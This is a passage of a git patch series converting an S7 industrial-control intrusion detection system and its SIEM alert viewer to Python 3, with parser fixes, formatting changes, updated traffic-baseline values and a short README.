int(binascii.hexlify(self.s7_param_bytes[0]), 16) + if self.s7_header[4] > 1: # if there's more here than just the function code (i.e. not an End Upload Ack_Data packet) + self.item_count = int(binascii.hexlify(self.s7_param_bytes[1]), 16) + self.param_size = self.s7_header[4] - 2 + if self.s7_header[5] > 0: + self.s7_PDU_bytes = self.s7_packet[ctr:ctr + self.s7_header[5]] + ctr = ctr + self.s7_header[5] + + if hasattr(self, 'item_count') and self.item_count > 0: + self.item_size = int(self.param_size / self.item_count) + if self.s7_header[4] > 2: # s7_header[4] is param_length and [5] is data_length + if self.ROSCTR_val == 7: # Userdata packets have extended parameter sections and different PDUs + self.param_type = int(self.s7_param_bytes[5]) >> 4 # Get the first 4 bits of this number + if self.param_type == 4: # Request type + size_left = int(self.s7_param_bytes[3]) - 4 + fmt_string = '!3sBBBBB' + if size_left > 0: + fmt_string = '!3sBBBBB{}s'.format(size_left) + self.param_details = unpack(fmt_string, self.s7_param_bytes) + else: # else == 8: Response type + self.param_details = unpack('!3sBBBBBBBH', self.s7_param_bytes) + self.param_head = self.param_details[0] + self.sqn_number = self.param_details[5] + self.item_count = 1 + elif self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: + current = 2 + self.items = [] + for i in range(0, self.item_count): + self.items.append( + unpack('!BBBBHHB3s', self.s7_param_bytes[current:current + self.item_size])) # 3s denotes a single 3-byte string + current = current + self.item_size + elif self.s7_header[5] > 1: # if data_length > 1 + self.item_header = [] + self.item_contents = [] + current = 0 + + if self.function_code != 29 and self.function_code != 30 and self.function_code != 31: # upload functions don't have data items + for i in range(0, self.item_count): + self.item_header.append(unpack('!BBH', self.s7_PDU_bytes[current:current + 4])) + current = current + 4 # add on length of header + if self.item_header[i][2] == 32: # for some reason data length 4 is coded as 0x32... + lst = list(self.item_header[i]) + lst[2] = 4 + self.item_header[i] = tuple(lst) + + item_length = self.item_header[i][2] + # if item data length == 1 and item count == 1, data length will be 8, but means 1... + if self.s7_header[5] == 5 and self.item_count == 1: + item_length = 1 + item_data_fmt_string = '!{}s'.format(item_length) + self.item_contents.append( + unpack(item_data_fmt_string, self.s7_PDU_bytes[current:current + item_length])) + current = current + item_length # add on length of data + if item_length == 1: + current = current + 1 # skip fill byte + if self.s7_header[5] == 0: # if data_length == 0 -- i.e. we want to look at the item addresses + # upload functions don't have data items and Ack packets are just headers + if self.ROSCTR_val != 2 and ( + self.function_code != 29 and self.function_code != 30 and self.function_code != 31): + self.item_address = [] + for i in range(0, self.item_count): + self.item_address.append(int(self.items[i][7], 16)) + + def print_details(self): + # print all packet info + print() + print("Length of S7 packet: {}".format(len(self.s7_packet))) + print() + print("s7 header : {}".format(binascii.hexlify(self.s7_header_bytes))) # print hex of s7_header_bytes + print(" magic number : {}".format(hex(self.s7_header[0]))) + if self.ROSCTR_val == 1 or self.ROSCTR_val == 3: + if self.function_code == 4: + print(" function code : 4 (Read Var)") + elif self.function_code == 5: + print(" function code : 5 (Write Var)") + elif self.function_code == 240: # 240 for some reason... + print(" function code : 0xf0 (Setup Communication)") + elif self.function_code == 29: + print(" function code : 0x1d (Start Upload)") + elif self.function_code == 30: + print(" function code : 0x1e (Upload)") + elif self.function_code == 31: + print(" function code : 0x1f (End Upload)") + if self.ROSCTR_val == 1: + print(" packet type : Request (Job)") + elif self.ROSCTR_val == 2: + print(" packet type : Ack") + elif self.ROSCTR_val == 3: + print(" packet type : Response (ACK_Data)") + elif self.ROSCTR_val == 7: + print(" packet type : Userdata") + if self.s7_header[4] > 0: # only do this if we have some parameters! + print("s7 parameter area : {}".format(binascii.hexlify(self.s7_param_bytes))) + if self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: + if hasattr(self, 'items'): + for index, item in enumerate(self.items): + print(" item {} address : {}".format(index + 1, item[7])) + elif self.ROSCTR_val == 7: + print(" Parameter head : {}".format(binascii.hexlify(self.param_head))) + print(" Sequence number : {}".format(self.sqn_number)) + if self.s7_header[5] > 0: + print("s7 PDU : {}".format(binascii.hexlify(self.s7_PDU_bytes))) + if hasattr(self, 'item_contents'): + for index, item in enumerate(self.item_contents): + print(" item {} data : {}".format(index + 1, item[0])) + else: + print("s7 PDU : None") From 787a50f1901db29953a8ae86fae8103ad9935d33 Mon Sep 17 00:00:00 2001 From: KostasAna Date: Tue, 28 Nov 2023 18:29:16 +0000 Subject: [PATCH 2/3] Debugging and formatting --- aggregate_traffic.py | 16 +++++++--- config_file_information.txt | 64 +++++++++++++++++++++++-------------- ids.py | 16 +++++++--- my_siem.py | 28 ++++++++-------- s7packet.py | 14 ++++---- 5 files changed, 85 insertions(+), 53 deletions(-) diff --git a/aggregate_traffic.py b/aggregate_traffic.py index fc1891e..68890d3 100644 --- a/aggregate_traffic.py +++ b/aggregate_traffic.py @@ -5,7 +5,7 @@ """ __author__ = 'William Jardine' -from datetime import datetime, timedelta +from datetime import datetime from collections import OrderedDict import dpkt import socket @@ -35,7 +35,8 @@ f_out.write("ATTRIBUTE: dstIP\n\n") ctr = 1 - # count_by_func_code dict in format: Function Code, [list_of_values, list_of_src_IPs, list_of_dst_IPs, list_of_timestamps] + # count_by_func_code dict in format: Function Code, + # [list_of_values, list_of_src_IPs, list_of_dst_IPs, list_of_timestamps] count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) @@ -60,15 +61,20 @@ if hasattr(ip, 'dst') and len(ip.dst) > 0: ipDst = socket.inet_ntoa(ip.dst) # convert to human-readable IP addresses ipSrc = socket.inet_ntoa(ip.src) - except: + except Exception as e: + print(e) continue - if len(eth) > 62 and packet[61] == 2: # if the magic number is what it should be for an s7 packet + if len(eth) > 62 and packet[61] == 50: # if the magic number is what it should be for a s7 packet if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring try: s7p = S7Packet(packet[61:]) # s7 packet from 61st byte to the end s7p.parse() - except: + # print(s7p.print_details()) + except Exception as e: + import traceback + traceback.print_exc() + print(e) continue if hasattr(s7p, 'function_code'): diff --git a/config_file_information.txt b/config_file_information.txt index 8caf946..cec5f35 100644 --- a/config_file_information.txt +++ b/config_file_information.txt @@ -7,64 +7,80 @@ ATTRIBUTE: srcIP ATTRIBUTE: dstIP -Other,100,10,192.168.2.10,192.168.2.9 +Other,100,15,192.168.2.10,192.168.2.9 -Other,96,10,192.168.2.9,192.168.2.10 +Other,96,15,192.168.2.10,192.168.2.9 -Other,97,10,192.168.2.9,192.168.2.10 +Other,97,15,192.168.2.10,192.168.2.9 -Other,95,10,192.168.2.9,192.168.2.10 +Other,97,15,192.168.2.10,192.168.2.9 -Other,96,10,192.168.2.9,192.168.2.10 +Other,98,20,192.168.2.9,192.168.2.10 -Other,99,10,192.168.2.9,192.168.2.10 +Other,99,20,192.168.2.9,192.168.2.10 -Other,99,15,192.168.2.10,192.168.2.9 +Other,100,20,192.168.2.9,192.168.2.10 -Other,97,15,192.168.2.10,192.168.2.9 +Other,97,20,192.168.2.9,192.168.2.10 -Other,97,15,192.168.2.9,192.168.2.10 +Other,100,20,192.168.2.9,192.168.2.10 -Other,98,15,192.168.2.9,192.168.2.10 -Other,4,15,192.168.2.49,192.168.2.10 +Other,98,20,192.168.2.9,192.168.2.10 -Other,100,15,192.168.2.10,192.168.2.9 +Other,101,20,192.168.2.9,192.168.2.10 -Other,96,15,192.168.2.10,192.168.2.9 -Other,8,15,192.168.2.49,192.168.2.10 +Other,96,20,192.168.2.10,192.168.2.9 -Other,99,15,192.168.2.9,192.168.2.10 -Other,35,15,192.168.2.49,192.168.2.10 +Other,100,20,192.168.2.10,192.168.2.9 -Other,98,15,192.168.2.9,192.168.2.10 +Other,98,20,192.168.2.10,192.168.2.9 -Other,94,15,192.168.2.9,192.168.2.10 -Other,1493,15,192.168.2.49,192.168.2.10 +Other,101,25,192.168.2.10,192.168.2.9 +Other,2012,25,192.168.2.49,192.168.2.10 -Other,100,15,192.168.2.9,192.168.2.10 -Other,662,15,192.168.2.10,192.168.2.49 +Other,98,25,192.168.2.10,192.168.2.9 -Other,95,20,192.168.2.9,192.168.2.10 +Other,101,25,192.168.2.9,192.168.2.10 +Other,6,25,192.168.2.49,192.168.2.10 -Other,98,20,192.168.2.10,192.168.2.9 +Other,98,25,192.168.2.9,192.168.2.10 +Other,8,25,192.168.2.49,192.168.2.10 -Other,97,20,192.168.2.9,192.168.2.10 +Other,99,25,192.168.2.9,192.168.2.10 + + +Other,97,25,192.168.2.10,192.168.2.9 +Other,27,25,192.168.2.49,192.168.2.10 + + +Other,100,25,192.168.2.10,192.168.2.9 + +Read,1870,25,192.168.2.49,192.168.2.10 +Write,83,25,192.168.2.49,192.168.2.10 + +Other,96,25,192.168.2.9,192.168.2.10 +Other,142,25,192.168.2.49,192.168.2.10 + +Read,56,25,192.168.2.10,192.168.2.49 + +Other,100,25,192.168.2.9,192.168.2.10 +Other,5,25,192.168.2.10,192.168.2.49 diff --git a/ids.py b/ids.py index 7b4599e..e26aecd 100644 --- a/ids.py +++ b/ids.py @@ -5,12 +5,16 @@ """ __author__ = 'William Jardine' -from datetime import datetime from collections import OrderedDict -import dpkt, socket, struct, s7packet, config, sys, os +from datetime import datetime + import snap7 from scapy.all import sniff +import config +import os +import sys + """ Read in config details and values from IDS_CONFIG.txt """ @@ -27,7 +31,8 @@ upload_packet = config.packet_type_info('Upload') end_upload_packet = config.packet_type_info('EndUpload') other_packets = config.packet_type_info('Other') -packet_details = {'Read': read_packet, 'Write': write_packet, 'StartUpload': start_upload_packet, 'Upload': upload_packet, +packet_details = {'Read': read_packet, 'Write': write_packet, 'StartUpload': start_upload_packet, + 'Upload': upload_packet, 'EndUpload': end_upload_packet} """ main functionality @@ -65,7 +70,8 @@ # [count], [ipSrc], [ipDst], [time] count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), - ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) + ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), + ('EndUpload', [[], [], [], []]))) other_count = [[], [], [], []] passive_possible_alert_count = 0 @@ -91,4 +97,4 @@ def packet_callback(packet): # Start packet capturing on the specified interfaces sniff(iface=capture_interface_0, prn=packet_callback, store=0) -sniff(iface=capture_interface_1, prn=packet_callback, store=0) \ No newline at end of file +sniff(iface=capture_interface_1, prn=packet_callback, store=0) diff --git a/my_siem.py b/my_siem.py index f499a50..da5e64b 100644 --- a/my_siem.py +++ b/my_siem.py @@ -7,7 +7,8 @@ import sys import os -display_filters = ['Low', 'Medium', 'High', 'Critical', 'Read', 'Write', 'Upload', 'Other', 'Time', 'Suspicious', 'DoS', 'Tampering'] +display_filters = ['Low', 'Medium', 'High', 'Critical', 'Read', 'Write', 'Upload', + 'Other', 'Time', 'Suspicious', 'DoS', 'Tampering'] if len(sys.argv) > 1 and sys.argv[1] == "-h": print("Options:") @@ -51,17 +52,17 @@ if len(sys.argv) > 1: if len(sys.argv) > 2 and (sys.argv[2] in display_filters): if sys.argv[2] == 'Time': - filter = 'Unusual time' + flt = 'Unusual time' elif sys.argv[2] == 'Low': - filter = '[Low Alert]' + flt = '[Low Alert]' elif sys.argv[2] == 'High': - filter = '[High Alert]' + flt = '[High Alert]' elif sys.argv[2] == 'Tampering': - filter = 'Value tampering' + flt = 'Value tampering' elif sys.argv[2] == 'Other': - filter = 'non-S7' + flt = 'non-S7' else: - filter = sys.argv[2] + flt = sys.argv[2] whole_alert = [] for line in f: @@ -71,23 +72,24 @@ whole_alert.append(line.rstrip()) elif 'Alert]' in line and any('Alert]' in x for x in whole_alert): if sys.argv[1] == "-display": - if any(filter in x for x in whole_alert): + if any(flt in x for x in whole_alert): log_ctr += 1 print("\n".join(whole_alert)) print() elif sys.argv[1] == "-exclude": - if not any(filter in x for x in whole_alert): + if not any(flt in x for x in whole_alert): log_ctr += 1 print("\n".join(whole_alert)) print() - whole_alert = [] - whole_alert.append(line.rstrip()) + whole_alert = [line.rstrip()] - if any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-display" and any(filter in x for x in whole_alert): + if (any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-display" + and any(flt in x for x in whole_alert)): log_ctr += 1 print("\n".join(whole_alert)) print() - elif any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-exclude" and not any(filter in x for x in whole_alert): + elif (any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-exclude" + and not any(flt in x for x in whole_alert)): log_ctr += 1 print("\n".join(whole_alert)) print() diff --git a/s7packet.py b/s7packet.py index c54a038..4d9cce8 100644 --- a/s7packet.py +++ b/s7packet.py @@ -5,14 +5,15 @@ """ __author__ = 'William Jardine' -from struct import * +from struct import unpack import binascii -import time + class S7Packet: """ Class representing and parsing all S7 packet information """ + def __init__(self, packet=''): self.s7_packet = packet @@ -37,9 +38,9 @@ def parse(self): self.s7_param_bytes = self.s7_packet[ctr:ctr + self.s7_header[4]] # reads in param_length worth of bytes ctr = ctr + self.s7_header[4] if self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: - self.function_code = int(binascii.hexlify(self.s7_param_bytes[0]), 16) + self.function_code = self.s7_param_bytes[0] if self.s7_header[4] > 1: # if there's more here than just the function code (i.e. not an End Upload Ack_Data packet) - self.item_count = int(binascii.hexlify(self.s7_param_bytes[1]), 16) + self.item_count = int(self.s7_param_bytes[1]) self.param_size = self.s7_header[4] - 2 if self.s7_header[5] > 0: self.s7_PDU_bytes = self.s7_packet[ctr:ctr + self.s7_header[5]] @@ -66,7 +67,8 @@ def parse(self): self.items = [] for i in range(0, self.item_count): self.items.append( - unpack('!BBBBHHB3s', self.s7_param_bytes[current:current + self.item_size])) # 3s denotes a single 3-byte string + unpack('!BBBBHHB', self.s7_param_bytes[current:current + self.item_size][:9]) + + tuple(self.s7_param_bytes[current:current + self.item_size][9:])) current = current + self.item_size elif self.s7_header[5] > 1: # if data_length > 1 self.item_header = [] @@ -98,7 +100,7 @@ def parse(self): self.function_code != 29 and self.function_code != 30 and self.function_code != 31): self.item_address = [] for i in range(0, self.item_count): - self.item_address.append(int(self.items[i][7], 16)) + self.item_address.append(self.items[i][7]) def print_details(self): # print all packet info From ece1966912dfe101b92b3532508c28c79a76d017 Mon Sep 17 00:00:00 2001 From: KostasAna Date: Thu, 7 Dec 2023 11:24:14 +0000 Subject: [PATCH 3/3] Add README file --- README.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..8af69c1 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +This is a Python 3 conversion of the project https://github.com/WilliamJardine/SENAMI/ \ No newline at end of file